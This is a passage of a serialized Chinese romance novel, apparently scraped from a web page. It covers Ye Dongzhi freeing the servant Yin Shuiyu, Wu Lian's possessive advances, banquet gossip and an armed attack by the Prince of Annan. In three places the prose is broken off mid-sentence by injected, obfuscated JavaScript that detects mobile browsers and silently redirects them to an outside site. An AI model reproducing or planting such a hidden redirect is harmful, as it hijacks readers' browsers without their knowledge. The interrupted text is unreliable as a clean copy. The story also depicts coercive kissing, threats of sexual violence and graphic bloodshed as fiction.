脸上有温热的东西划过,贵女伸手为他擦去眼泪,冲他笑,“之后记得多吃一点,若是出来之后没有力气为我描妆,我会不高兴的。” 他终于还是忍不住,拉住她的一只手,逾越地将自己的脸放在她的手心,应了,“嗯,我答应贵女。” * 从竹林出来后,她沿着来时路回去。 现下日头还是有些大,路上人很少,丫鬟小厮都在阴凉处躲凉,一路有人向她行礼。 她一一应过,路过一处假山时,听见一道声音自不远处传来。 “怀泽哥哥,你先别走,我还有话同你说。” 会这样称呼邬涟的也只有一人,便是阮琼华。 叶冬知侧身躲进假山之中,小心探头去看,见到一侧小道上,邬涟朝前走着,阮琼华正在后面追。 忽而听到声音,邬涟顿住了脚步,回过身问她,“阮小姐还有何事?” 阮琼华额头渗出些薄汗,不知是因为日头晒得,还是因追他这几步路累的,她仰起头,眼神希翼,“上次我托长安给你的东西,你可看了?” 听她问,邬涟敛眸才想起似乎是有这么一回事,当时长安给了他一个盒子,他知晓后便随手扔在一处,并未打开过。 于是,他并未有回应她心思的想法,只是直白道,“不曾。” 阮琼华的眼神黯了一瞬,很快她又勉力扬起一个笑容,“无妨,想来是你公务繁忙,没来得及打开。其实也不是什么稀奇东西,就是一些小玩意,小时候我祖父带回来的草编小鸟你还记得吗,你还与我抢着玩,后来邬伯父发现了,斥责了你一番。” “那盒子里,这样的小鸟还有好几只。” 直到她兴致昂扬地说完,邬涟的神色也未有波动,只因他早不记得了。他儿时的记忆中,几乎没有享乐的痕迹,大部分的时间都在不停地练功和读书。 阮琼华看出他兴致缺缺,对她早不如幼时亲近。她一直以为她与他一起长大,京都这么多世家子弟,他只与她是最亲近的。 可如今看来,也不过如此。 “阮小姐,听说老师有意为你择婿。” 骤然听他提起这个,她心头一紧,下意识攥紧了袖口,“嗯,祖父看中了晋国公府的世子。” “冯公子祖上三代功勋,为人正直,相貌俊朗,如今已任校书郎,未来定前途无量,可堪托付。” 他语气平静地评价道,从中未见丝毫留恋。 话落的刹那,阮琼华顿时脸色一白,浑身几乎站立不稳,向后退了一步才稳了身子。 事已至此,她还有什么不明白的,小时候的情谊,只有她记得清清楚楚。在来京都的路上,她甚至沾沾自喜,若有天怀泽哥哥成婚,那她必然是最有可能的人选。 她未表白心意,他便也没有理由拒绝,只是用委婉的方式告诉她,他并不属意于她。 阮琼华脑袋空白了片刻,才回过神来,已然笑不出来,勉力维持着与她身份相符的教养,“那便借怀泽哥哥吉言。” 见他皱眉,她顷刻意识到了,随之改了口,“那便借邬大人吉言。” 邬涟点了点头,抬步离开,“若是不着急回府,阮小姐可在府中逛逛,邬某还有事,就不奉陪了。” 那厢阮琼华呆站了会,才凄然转身,缓缓挪动脚步。 叶冬知目睹了全程,听见邬涟的脚步声由远及近,正从她待的这座假山外路过。 她屏住呼吸,不敢发出一丝一毫的动静,然—— “还不出来?” 隔着假山,他的声音冷清,钻进她的耳中。 58. 第 58 章 她心口一跳,仍在原地没有动弹,方才邬涟是背对着她的方向,任凭他眼力再好,也不可能发现。 想通这一点,她放下心来,偏头听着外头的动静,但依旧在原地没动。 过了片刻,邬涟的脚步声再次响起,这回越来越远。 叶冬知松了口气,转身抬步欲走时,骤然撞进一个檀香满溢的怀中。 她下意识抬头看去,只看见月白的衣衫,而本就狭窄紧凑的假山,因为他强行挤进来,更显得拥挤。 他高大的身形遮住了假山透进来的光,沉沉地笼罩着她。 “在这听了多久?”他问她,由于离得太近,他呼出的热气尽数喷洒在她耳廓与侧颊上。 她侧头避开,像是不习惯他的主动靠近,“没多久,看来你还真是招女子喜欢啊,这阮小姐也对你芳心暗许。” 假山之内的光线比外面昏暗些,阴影将他的五官勾勒得越发深邃,更衬得他眼瞳几乎与墨色一般,浓得化不开。 “我不喜欢她,喜欢你。” 直白到无法再直白的话从他口中出来,惊得叶冬知眼睛都瞪圆了。 谁敢想,以前她碰一下都要脸红斥她恬不知耻的人,如今竟能将表明心意的话说得脸不红心不跳的。 但事实并非叶冬知想的那样,只是此处暗,他又高,她看不见他红透的耳根罢了。 她压下心头奇怪的慌乱,转移了话题,“你什么时候知道我在这里的?” “一开始就知道了。” 她拧眉,一开始的时候她与她隔得老远了,怎么可能发现她,于是她接着问,“怎么发现我的,你分明背对着我。” 他垂眸,将她脸上所有的反应尽收眼底,包括她那一瞬的慌乱,也自然没有错过。 “你身上的气味与众不同。” 由于常年在刑部当差,鼻间充斥的多是血腥味以及各种腐臭、令人作呕的气味,也因此,令他的嗅觉格外敏锐。更何况,她与他肌肤相亲,她身上的气味早就刻入他的骨髓。 叶冬知没想到是这个答案,闻言冷哼一声,“你还真是狗鼻子,这么灵。” 他也并不在意她的嘲讽,将她头顶杂乱的头发捋平,才说,“你问完了,现在该我了。” “你故意引开院门口的暗卫,是去见他?” 明明是很寻常的语气,但叶冬知却恍然觉得周遭气氛顿时转冷。 他与她闲聊许久,似乎这才是他真正想要问的。 鉴于此前每每涉及到殷水玉,邬涟便会发疯,她垂眸,眼珠快速转动,思考该如何回答。 可想了半天,她也没想出一个合适的答案,如果她此刻撒谎,那么他之后若是查证,想来也轻而易举就能揭穿她的谎言。 一直没等到她说话,他伸出手握住她发冷的手心,然后将她的指缝挤开,近乎强势地与她十指相扣。 他挠了挠她的手心,有点痒,惹得她躲闪了一下,但奈何这里面逼仄不已,她本来是躲的动作,结果反倒在他身上不轻不重地蹭了下。 他的呼吸顿了一下,然后低声说,“不是去见他,是因为今日我没回来,来寻我的对不对?” 明显不太可能的答案,但别无可选的叶冬知硬着头皮应了声。 “嗯,来寻你的。” 他的呼吸重了些,落在她耳畔十分清晰。 他用另一只手揽住她的腰肢,用力将她往怀里带了带,他的下巴在她发顶亲昵地蹭了蹭,“自从你救下他,便不曾来寻过我了。” 说着,他低叹一声,“该让我如何信你?” 她从他怀里不解地抬起头,对上他逐渐幽暗的神色,随即听得他道,“证明一下,不是去寻他,只是来寻我的。” 这有什么可证明的,虽是这样想,可叶冬知却不敢再惹他,一头雾水的同时她又忍不住在心中责怪系统给她匹配了邬涟攻略难度这么高的对象,关键是,他马后炮啊。 船漏了想起来补了,孩子哭了你找奶了。 胡思乱想间,她犹豫着踮起脚,试探性地吻了下他的侧脸。 邬涟僵住了。 “这样行吗?”她收回踮起的脚问他。 他的目光越发沉,连带着喷洒出来的热气,都比方才更滚烫一些,他握着她腰肢的手微微用力,使得两人贴得更紧一些,几乎没有一丝缝隙。 “你这样对过他吗?”邬涟又问。 他的每句话都不离殷水玉,即便今日未像前些日那般咄咄逼人,可依然能听出不少醋意。 她闻言有些不耐,“我不是说过我对他不是你想的那样吗?” “那便是有了。” 他对她方才的话充耳不闻,一心只想求得答案。 叶冬知哑然,在他的注视下居然感到一丝心虚,有些狼狈地别开了目光。 “还不够。”他沉沉呼出口气,见她的反应便悉数知晓,即便压抑着,可嫉妒不满的怒火仍在不声不响地灼烧着他。 他想要她对他特别一些,最好是有些事只有他能得到。 比如—— “吻我。” 他的语气不容置疑,带着焦躁和不安,急切地想要寻求一些来佐证在她心中,他与殷水玉是不同的。 “够了,别得寸进尺了。”一直被人牵着鼻子走,不是她的脾气,她冷了脸。 但面前的人依旧不依不饶,语气比方才多了惊怒: “你吻过他!?” 叶冬知被无语得额角直跳,“没有!” 他周身的戾气陡然褪去,语气有些委屈,“你吻过我了,还是很多次。” “那又怎样!?”她受不了他这幅怨气冲天的样子,咬牙道,“你自己说的再不相干,你现在看看你的德行,你好意思吗?” 他盯着她气急败坏的样子,忽而凑近,近得他的鼻尖贴着她的,然后叶冬知才听得他说,“对你也不是第一次食言了,再多一次也无妨。” “你!” 叶冬知气得想捶他,但奈何这里面空间太小,她几乎动弹不得。 等她才蹦出一个字,他搂住她的手骤而收紧,另一只手托着她的后脑,迫使她抬起头。 而后,他清冽灼热的气息扑面而来,他于唇齿间溢出一声叹息,“你既不愿,那便我来罢。” 唇上的触感温热,叶冬知怔愣住了不敢动弹,她睁大眼睛,长而密的睫毛扫过他的面颊,引得他低低喘.息一声。 她僵着身子被搂抱着,以一种无法反抗的姿势被他肆意索取着。 面前的人很生疏,动作小心翼翼带着试探,如一个孩童一般学习新事物。 察觉到她没有反抗,他的动作也开始熟稔起来。 舔舐、啃咬、汲取,只不过片刻,他全部都已摸到诀窍,逐渐让她头脑空白,从尾椎升起一股酥麻的战栗。 他吻得其实很温柔,但他对于她的每个反应都牢记在心,以至于他稍稍触碰,她便有些受不住了。 心跳也随着他的动作快起来,她眼前发晕,双腿发软,快要站立不稳。 “别......”她终于寻到喘息的机会,只是这个字刚说完,他便又凑了上来,像是怎么都不够一般。 像是知道她站不住,他曲起双腿靠着假山坐下,让她靠在他身上。 叶冬知用手推了推他的胸膛,在间隙中断断续续道,“别人......能......看到。” 他毫不在意,声音沉哑得厉害,“看便看到了。” 对于她而言,其实坐在他身上也没见得多舒服,若说此前是站不稳,现在则是硌得慌。 她再次撑着他的胸膛让他暂时不能靠近,让自己不至于因为缺氧而昏厥过去。 叶冬知莹白的肌肤上晕出情动的绯红,她垂眸看他,不自在地扭动了下身子,却发现他的反应更强了些。 她有些咂舌,“你那个了。” “嗯。”他哑声应道,脸上也染上一层薄红,眼眸迷离。 “现在够了吧。”她唇都有点麻了,想着,便瞪了他一眼,接着慢慢起身。 他靠坐在地上,月白的衣衫铺散开来,配上他意犹未尽的面庞,活脱脱一副仙人染尘的模样。 叶冬知终于得以从假山里钻出来,她拍了拍身上的灰尘,准备抬步离开,却被人将手紧紧握住。 她挣脱一下没甩掉,瞪他,“又要干什么,不怕被人看见啊?那样的话,你的名声可要毁于一旦了。” 他走在她前面半步,闻言也没松开手,反而轻轻地晃了一下。 颇为小孩子气的动作。 半晌后,他才道,“总归是要被人看见的,早些晚些又有何分别。” * 叶冬知一路被他牵着回去,毫无遮掩的意思,一路上,来往的下人皆震惊不已。 更有离得远的,胆子大的,已经当面小声议论起来。 被人注视和指点的感觉不太好受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“叫你不要招摇,这不麻烦就找上来了吧。”叶冬知语带责怪,没忍住刺了他一句。 邬涟对此并未有丝毫慌张,仿佛早已预料,将她额前被汗沾湿的头发拨到她耳后,“你就待在房里,暂时不要出来。” “我既然做了,便有应对之策。” 话落,他朝着院内的老夫人走去。 日头还有些大,身侧丫鬟给她撑着伞,吓得大气不敢出。 老夫人见邬涟从屋内走出,脸上未见任何羞愧心虚之色,更是差点气得两眼一翻,当场晕厥在此。 她就说嘛,当时为何打死都看不上那方令仪,原来是早已与这叶冬知暗通款曲。思及此,她将拐杖拄得“咚咚”作响,指着他训道,“你怎么这么糊涂啊!” “她可是你义父的人啊!你这是要背上不忠不孝不义的名声吗!” 邬涟淡然抬眸,说出来的话更是将老夫人气得一哆嗦。 “她不是义父的人,一来没有定亲,二来没有大婚,只是凭借口头几句话,难以让人信服。” “更何况,义父强娶昔日部下之女,害得她三番五次欲轻生逃走,这难道不是不忠不义?” “你!你!你!”老夫人指着他的手直发抖,气得嘴皮子都在颤抖。 “你疯了!?你要让整个京都如何看我们侯府!你将你义父的脸面搁到哪里去了?!” 任凭老夫人如何责骂,邬涟面色始终没有波澜,他默了一瞬,忽而道:“她的父母是如何死的,想必,老夫人应当很清楚。” 老夫人愤怒的脸上顿时僵了一下,反应过来后,她躲闪说,“当然清楚,整个天下的人都清楚!” 见此,邬涟的唇轻扯了下,“既如此,想必老夫人也知道这座侯府到底是怎么来的,我是为何变成义父的义子,您应当也知晓。” 老夫人脸色从僵住转为泛白,她有些不可置信道,“你......都知道了?” “是。” 这个字出口,老夫人脸上原本的愤怒急速褪去,转而化为一种忌惮和不安。她凝神打量面前的人,虽面色冷静,但目光锐利,仿佛能看透她心中所有想法。 这偌大的京都,没几个世家是干净的,永定侯府也不例外,但不同的是,永定侯府藏的秘密一旦被揭开,将有灭顶之灾。 她面上越发难看,心中思量几番转折,最终她反而沉默了下来。 不安中,她听得邬涟道,“但永定侯府养育我长大,对我亦有恩情,若非不得已,我并不想走到那一步。” 院中一时寂静无声,等老夫人从惊诧和忐忑中回过头,已不见对方的身影。 本来以为邬涟与老夫人会闹得不可开交的,但居然如此平静。 张姨娘冷哼一声,“无妨,重头戏可在明日呢,任凭他能有法子堵住老夫人的嘴,但可堵不住明日那么多张嘴。” 59. 第 59 章 第二日在众人各怀心思中到了。 今日是老夫人的六十大寿,永定侯战败的消息暂时还未传回京城,是以,席间还算是一派平静。 邬镇庭立有开疆之功,威名显赫,京都多数勋贵尽数到场。 连皇家也来了人,其中,便有太子周信和德宁公主周宛平。 众人依次送上寿礼和祝词,酒过三巡后,忽而有人起了个头。 “诸位可听到昨日的一则传言,传言中道邬大人与侯爷未过门的未婚妻有不可告人的关系。” 开口的是兵部侍郎的妻子杨氏,性格泼辣,人脉甚广,平日最爱在背地里嚼人舌根。 她身旁的妇人拿手肘碰了碰她,掩唇笑道,“谁说不是呢,我听说这侯府有许多下人都亲眼所见二人在府中牵手呢。” “真是没想到,以往还以为大公子不近女色、清心寡欲,如今看来并非如此,缘是早已有了心上人啊。” 二人一唱一和的声音不小,引得席间众人都侧目看来。 这个消息他们当然也都听说了,这京都虽大,但若是谁家有个风吹草动,眨眼间便能传遍。 座下方令仪挑眉冷笑,当时她当众说二人有问题,还被邬涟三言两语怼了回去,害她又出了一次丑,如今这众人皆知的事,看他如何狡辩。 此前父亲丢了刑部尚书的官职,如今虽然重新被调任,虽同样是二品,但无甚实权,精明的人一眼便看出她方府已大不如前。此后她参加小姐妹间的宴会,连巴结她的人都少了许多。 众人议论纷纷,这次寿宴的主角,老夫人脸色愈发沉。 德宁垂眸思量,并未开口,反倒是一侧的太子周信皱了眉,犹疑问道,“邬老夫人,敢问是真有此事?” 他虽为太子,但朝中三皇子、四皇子皆势头正盛,几人都欲拉拢邬涟这位朝中新贵,但奈何此人油盐不进、软硬不吃,就这样硬生生在暗流汹涌的朝中一直保持中立。 老夫人当然不可能承认此事,“殿下,这都是谣传,怀泽是何品性,想必在座各位都知道。” 周信未点头也未摇头,反而问起身侧的人,“皇妹,你如何看?” 德宁慢条斯理地掀起茶盖饮了一口,撇了眼他,“不如何,与其在这里猜来猜去,不如问问这位邬大公子。” 话落,众人的视线随着德宁的目光看向不远处,邬涟从垂花门处走来,玄色衣袍之上,银纹在日光下隐约涌动。 如往常一般,他仪态打扮挑不出一丝错处,神情冷淡,仿佛仍是众人眼中那衣不染尘的高岭之花。 对着太子与德宁见过礼后,他波澜不惊地落座。 对于他的姗姗来迟,众人心有疑惑却没人想做出头鸟。方令仪环视一圈,见没人说话,但又不想放过这个落井下石的好机会,于是道: “都说大公子是最重礼仪之人,怎的今日老夫人寿辰,你作为孙辈,却还来得这样晚,莫不是真如传言所说,与叶小姐......”剩下的话她没说完,意味不明的声音传进众人耳中,引得人遐想连篇。 “所以才乐不思蜀,连祖母寿辰都忘了?” 这一番话可谓是极尽侮辱和大胆,在场的人面面相觑,虽未明言,但彼此都心照不宣。 看来,传言并非空穴来风,说不定是真的。 邬涟抬眸,视线冰冷,“方小姐,祸从口出。” 那一眼含着警告和不悦,他周身气氛骤然发冷,接下来吐出的话毫不留情: “不管诸位听到什么,那都是我侯府的家事,议论在下便罢了,若是传到叶小姐耳中,休怪邬某不讲情面。” 这句话一出,在场的人脸色都难看起来。 还有什么不明白的,这都明摆着了,这邬涟如此维护那女子,定然两人是有一腿的。 可那又如何呢,且不说他如今位极人臣,手段狠厉,就连太子都得给他几分脸面,说不准还要好言拉拢。 上月天子大病一场,身体已是大不如前,在此之前已将皇城司和城卫军全权交给他,如今,他在京都可谓是一手遮天。 太子周信笑了笑,试图打打圆场,“怀泽不必动怒,流言罢了,清者自清。” 德宁忽然意味不明地笑了声。 清者自清吗,倒不见得。 想不到邬涟此人动情是这般的,以往母后曾有意招他做她的驸马,那时他还未到如今的地位,便冷言拒绝,她虽心有不忿,却也明白此人绝非池中物,硬来定是不行。 张姨娘在角落帕子都要绞碎了,眉眼阴沉得吓人。 她怎么忘了,流言传得再厉害,不如手中权利厉害。瞧瞧这些人,以往嘴皮子最是利索,现下愣是一个字都不敢说,害怕得罪了这眼下风头最盛的人。 席内陷入一阵诡异的沉默。 直到一个小厮慌慌张张闯入正厅,急忙道: “不好了!大公子,老夫人,安南王带着世子正将府门围住了,说大公子将安南王世子打成重伤,如今要大公子给一个说法!” 老夫人并不知道此前在德宁宫中发生的事,乍一听到这个消息,面上满是疑惑,看向邬涟,“这......?” 席间其余人皆是同老夫人一样的神色,唯有德宁面色如常。 邬涟听完,从席间起身,前往侯府正门。 一干人自然不会错过这个看热闹的机会,当即浩浩荡荡跟在他身后。 * 这边乱作一团,而叶冬知也没闲着。 今日她借口身子不舒服便不去给老夫人祝寿了,邬涟并没勉强她,留下人照顾她后,自己离去。 她算着时辰,约摸着这会众人都在正厅,正好是行动的好时机,若是今日不将殷水玉放出来,之后怕是更难有机会。 玉笙居门口依然守着那两个暗卫,因着上次被她逃了出来,两人挨了罚,这次便更为警惕,几乎是一动不动地守着院门口。 用过的计谋叶冬知不打算再用,她站在院内打量了一番,然后将视线投向了秋千旁边的那棵树上。 树木高大,枝繁叶茂,枝叶已经延伸到院墙之外。 她回屋将珍珠粉擦在手心,然后一点点爬到树上去,借着枝干,她挪到了院墙之上,凭借着手上的珍珠粉,让她的手不会轻易打滑。 她寻了个平整之处,吊着墙壁,然后跳了下去。 到了那片竹林,她故技重施进了屋内。 屋内的少年坐在那扇小窗之下,背影寂寥落寞。 透进来的光线只够照亮他的床榻之处,陡然见到她进来,他怔愣了刹那,随即噌地站起身来,朝她激动走来。 “贵女!” 她应了声,安抚地拍了拍他的手,快速说明来意: “今日是老夫人的寿辰,府里各处守卫薄弱,若想出去,今日是最好的时机。” “出去?”他喃喃一声,继而有些颓丧,“纵然出去了,我还是会被关起来的,贵女!他不会容忍的。” 叶冬知知道他的理解与自己所说有偏差,解释,“是出府,找个地方躲起来,他便无法再将你关起来。” 殷水玉目不转睛盯着她,闻言,急切开口,“可是贵女,这样我便不能再伺候您了,我不愿离开您!” 她沉吟片刻,“我记得,这件事我答应过你。” 其实她的本意是将殷水玉先送出去藏起来,之后等自己脱身后再去寻他,可眼下来不及与殷水玉解释这么多。 语罢,她掏出火折子,将屋内帐幔引燃,等到火势大起来后,对着门口叫了一声: “救命啊!走水了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525202|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口守着的两人一听,赶紧去不远处的水井出打水救火。 叶冬知一把握住少年的手,“走!先出去再说!” 这几日气候干燥,火势轻而易举就大了起来,噼里啪啦冒着滚滚浓烟。 那两人急着打水,压根没注意到有人趁乱跑了出去。 她一口气牵着殷水玉跑出好远,到了一处偏门,阿蔷早已等候在此,门外停着一辆普通的马车,车帘被人掀开,露出齐越白与凌婵的脸。 齐越白扫过叶冬知身侧神色懵懂的少年,眼中惊艳一下,嚯!好漂亮的人! 此前,阿蔷按照叶冬知的吩咐,暗中联系上他与凌婵,请求他们将殷水玉带走先躲起来。 想到此处,他忙道,“这就是殷公子吧,快上来吧,我们不能在此逗留太久,否则一旦被发现,恐怕是走不了了。” 叶冬知点头,“是,这京都也只有你们二人我信得过了。”说着,她侧目看向身侧的人,“阿玉,快上马车!” 殷水玉到此终于明白,原来贵女从始至终都想把他送走,之前说的会留他在身边伺候,只怕也是骗他的。 但他却没有办法责怪贵女,她没有错,她只是想让他平安。 眼前顿时模糊起来,他僵在原地不愿挪动脚步,哽咽着说,“贵女,您同我一起走吧。” “我会描画妆容,也会挽发,还学了厨艺和医术,我能挣很多银两,不会让您受苦的。” 叶冬知叹了口气,用指腹为他擦去眼泪,“我现在还走不了,若是我同你走了,你便危险了。” “我没有骗你,你先出去,等我找到法子脱身,我会来找你的。” 殷水玉蹙眉,目光哀伤,不死心继续说,“他不会放你离开的贵女,你若是留在这里,此生都会被禁锢,您也说过,现在是一个极好的机会,要是错过了,只怕以后真的离不开了。” 叶冬知抿唇沉默。 他说的没错,按照邬涟偏执强势的性格,她今日不走,只怕之后他肯定会加强防备,想要出来只怕难如登天;可她又担心,若是她随着殷水玉离开,邬涟会不会一怒之下,想尽办法杀了殷水玉。 一时间,她竟然觉得有些难以抉择。 齐越白看出她的犹豫,也看出这少年对她一片真心,便道,“叶小姐,我现下的生意已经做到了其他州郡,若是你们想躲起来,我也是有些办法的。” 殷水玉一把拉住她的手,祈求地望着她,“贵女......” 她心念动摇,等反应过来之后已经被急切的少年拉着上了马车。 一声马儿的长啸唤醒了她混沌的思绪,紧接着,哒哒的马蹄声整齐划一地越来越近。 “怎么了?”她不禁问道,下意识有些心神不宁。 凌婵坐在外面,闻言说,“是那劳什子安南王带了府兵将永定侯府围住了,说是邬涟将他的宝贝儿子打残了,要来讨说法呢。” “这安南王把那根独苗看得跟心尖尖似的,这回估计不会轻易放过邬涟,听说他还有一道免死金牌,就算是当场杀了人,也顶多落得个贬斥罢了。” 不知为何,这一番话听得叶冬知心惊肉跳。 安南王她是知道的,护短暴烈,军功卓著,更是靠着独一份的军功封了异姓王。 而邬涟,正是为了她,才几次三番对安南王世子出手。 凌婵说完便扬鞭,马儿鸣叫后,车轱辘缓缓转动起来。 叶冬知呆愣在原地,心跳得越来越快,那股不安越来越重。 “停车!” 她突地大喝一声,将车内几人吓了一跳,凌婵才驱动马车,乍一听,只好费劲勒住即将奔跑起来的马儿。 马车刚一停稳,叶冬知便心神不宁地冲出了马车,任凭殷水玉如何呼唤,她都仿若未闻。 60. 第 60 章 她一路奔跑,中途发髻散了,钗环也掉了,但她毫不在意。 直到在接近大门处,看到了乌泱泱的一群人,最前面的人,身姿挺拔,衣衫纤尘不染。 叶冬知松了口气,看来,她担心的事还未发生。 周围有婢女看见她行礼,这一声,传进了那乌泱泱的一群人耳中。 下一刻,众人都转过头来。 自然,最前面的人也随之回身。 数不清的目光落在她身上,惊艳的、鄙夷的、嫉妒的,如无形的手一般在她身上流连打量。 都不用想,她此刻鬓发散乱,衣衫不整,大汗淋漓的样子定然不得体,招人耻笑也是意料之中的事。 老夫人首先反应过来,拐杖一拄,怒斥,“你这幅样子成何体统!还不赶紧回去换身衣裳!” 周围有人议论,“呀,这便是那叶小姐,生得倒是不错,只是好似一点规矩都没有呢。” 话落,有人哄笑出声,但不知从何感觉到一阵寒意,顿时都噤了声。 邬涟朝她一步步走来,站定在她跟前,然后在众人难以置信的目光下,为她整理散开的衣襟和凌乱的头发。 一举一动,温柔细致,末了,还温声问,“不是身体不适吗,这会不在屋里歇着,怎的跑出来了?” 说完,他从长安手里接过一柄伞,撑在她的头顶。 现在已是九月底了,日头算不得很大,其余夫人小姐皆没有撑伞,如此,倒越发显得邬涟将人看得珍视。 叶冬知的心因为剧烈运动还在砰砰跳着,她缓了下呼吸,才有些急切道,“安南王是不是来找你麻烦了?” “嗯。”相比较于她,他十分镇定。 “那你还去?他有免死金牌,还带了这么多人,你出去不怕他杀了你?”她从站着的位置看去,隐约可见府门处已经聚焦了黑压压的一群府兵,而面前的人却孑然一身,她不由得语气焦灼,又带了几分责怪。 邬涟却并未因此表现出任何害怕,反倒是惊喜地轻笑了声,忍不住扬了扬唇角,道: “在担心我?” 看来,她的心中也并非没有他。 叶冬知噎了一下,错开他含着笑意的视线,只是拽着他的衣角,“别出去。” 他垂眸察觉她的动作,心口陷了下,却忽然看见他衣摆处的一抹殷红。 他蹙眉,将她的手拿起来,打开她的手指后,才看见她掌心破了皮,血迹与砂砾和珍珠粉混在一起。 “怎么弄的?” 叶冬知自然不可能告诉他是翻墙弄的,于是含糊道,“刚摔了一跤。” 他看她眼神飘忽,明白她又在撒谎,不过她今日如此担心他,他可以既往不咎。 唤来长安将她的手包扎好后,府门处的叫骂声已不耐烦,不堪入耳的叫嚣传到了府内。 邬涟闻声往外走,叶冬知盯着他的背影,却不知如何劝诫。 看他的样子,像是早料到有这一遭。 似乎是知道她的心中所想,他忽而回头,日光照在他侧脸之上,将他的冷清融化几分。 “他杀不了我,放心。” 府门外安南王骑在一匹通体纯黑的骏马之上,身后跟着安南王府的府兵,府兵之中,一辆轿撵停在其中,一个肥头大耳的男子躺在上面,头被纱布包着。 安南王身高八尺,魁梧健壮,肤色黝黑,面相凶恶,浑身都是杀伐凌冽之气,那是常年征战沙场的人,才会有的洗不掉的气势。 他一柄赤金大刀抗在肩上,两旁百姓见之避让,就连刚随着邬涟来到门口看热闹的小姐夫人们,有个别胆子小的,甚至直接吓晕了过去。 安南王单臂持刀指着邬涟,声音粗亮,“邬家小儿,你几次三番对本王的儿子下死手,如今更是害得他终身只能卧榻,这口气本王无论如何也咽不下,今日本王要你偿命,死之前,可还有什么话说?” 老夫人吓得快要站不住,这安南王比她儿子邬镇庭看起来还要粗鲁,她结结巴巴道,“王爷,这其中可是有什么误会?” 安南王冷哼一声,“没有误会。” 语罢,他将轿撵的纱幔撩开,那安南王世子睁开眼,左边身子已经废了,唯有右边的身子还能动。 他伸出手指着邬涟和其身后的叶冬知,眼睛通红,目眦欲裂,咬牙切齿道,“父王!那个贱人自己勾引我,临到头了又不愿意,便叫邬涟打我,今日,您一定要为儿子报仇!” 一听他如此颠倒黑白,叶冬知气得当场翻了个白眼,“我呸!分明是你意图不轨,这整个京都都知道你是什么德行!” 安南王早已听不进去,扫了眼邬涟身后的女子,阴狠道,“看来果真是个贱人,还这般会狡辩,那我便先杀了这邬涟,再将你擒住,拔掉舌头,拴住脖颈,让你日夜伺候我儿赎罪。” 事到如今,局面已经难以控制,本来想看戏的太子周信也只好站出来。 他朝着安南王道,“孤在此,安南王也要执意如此吗?” 安南王并不把周信放在眼中,只扯扯嘴皮,“太子殿下一会还是躲远些,若是等会本王的赤刀误伤到你,便不好了。” “你放肆!安成烈,这天下还不是你说了算!”被如此轻视,周信有些受不了,“孤必将你的行径毫厘不差地地告知给父皇,你如今已没了兵权,连这王府也不想要了吗?” 安南王冷嗤,“连自己儿子都护不住,这王爷的名头有何用。行了,本王不想与你废话,邬涟,拿命来!” 话落,他一扯缰绳,连人带马冲了过来,手中赤刀顺势高高扬起,劈下时带起一阵强劲的罡风。 邬涟见状,一把将身后的人推开,从长安手中接过剑,抬臂格挡,硬生生接下了这一招。 叶冬知被猛然推得后退几步,被长安接住,对上她担忧的目光,长安却语气肯定。 “叶小姐不必担心,公子剑术极好,安南王伤不到公子。” 虽是这样说,但她心的仍被高高吊起,一眨不眨盯着前方。 其余人早被这阵势吓得躲到了一旁,府门前的空地上,安南王骑着马,与持剑的青年对峙着。 安南王有些意外,“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看了一会,似乎是觉得短时间难以分出胜负,他将视线移到了别处,落到了那个素衣绝色的少女身上。 虽然上次他未尝到这女子的滋味,现下这身伤痛也拜她所赐,心中对她多有怨恨,可此刻一见到她这张脸,他便不想要她就这么轻易地死去。 他要先狠狠玩弄她一番,听得她哭泣、求饶,再按照父王所说将她拔舌。 思及此,他体内居然窜起了一股火气,于是,他指着叶冬知,对身侧的人咬牙道,“去!将那个女人给本世子抓过来!别死了就成。” 话落,立刻有一队府兵持剑朝叶冬知走去。 长安见状立刻拔剑挡在她身前,随后吹了声口哨,几个黑衣蒙面的暗卫从暗处跳出来,与长安一起将叶冬知围在里面。 邬涟将安南王击退几步,用余光扫到身后的景象,本欲飞身过去,奈何这安南王也不是吃素的,那赤刀突然脱柄而出,拖出一截铁链,以一种刁钻的姿势朝他背后攻来,令他有些分身乏术。 长安这边虽是精锐,但寡不敌众,而对方趁其不备,一人忽地朝叶冬知砍来,剑刃带起呼啸的风声,长安瞬时睁大双眼,“叶小姐!小心!” 然预想中的刺痛却没有到来,熟悉的人忽然挡在了她身前,那本该砍伤她肩膀的剑刺穿了面前人的血肉。 剑尖从他肩膀穿出,血液喷溅在她惊惶而不可置信的脸上,她尖叫出声,语气颤抖,“阿玉!” “不是让你走吗!” 61. 第 61 章 剑尖从他肩膀退出,那人本欲再刺一剑,却被长安一剑封喉。 殷水玉痛得眉头紧皱,但他仍竭力安抚她,“贵女不走,我也不走。我此生都要与贵女待在一起。” 她揽住他摇摇欲坠的身子,心口既愧疚又难受,“你傻啊!要是这剑再往左一寸,你就没命了!” 他从她怀中挣出来,提起手中的刀,单薄的身子将她护在身后,血如水一般,顷刻就浸透了他胸前的衣衫。 “我这条命是贵女救下的,即便为贵女而死,也是理所应当。” 安南王世子看见那张十分熟悉的脸,以及那双让人过目不忘的灰色眼睛,想了片刻忽而明白了,“好啊!原来是你这个贱奴!当初本世子到处寻你,都没找到,本以为你早就死在哪个犄角旮旯了,没想到你竟在这!” “既如此,”他对府兵招手,“将那个灰眼睛的贱奴也给本世子抓回去!” 随着他的手势,更多人将叶冬知几人团团围住,殷水玉握着刀,手微微颤抖着。 有人冲上前冲他挥剑,却被他更快地一刀砍开了胸膛,甚至没来得及痛呼,便咽了气。 浓重的血腥味缭绕在他鼻间。 他紧紧绷着唇,昳丽温柔的脸上迸发出从未有过的强烈杀意,甚至于他还感受到莫名的兴奋。 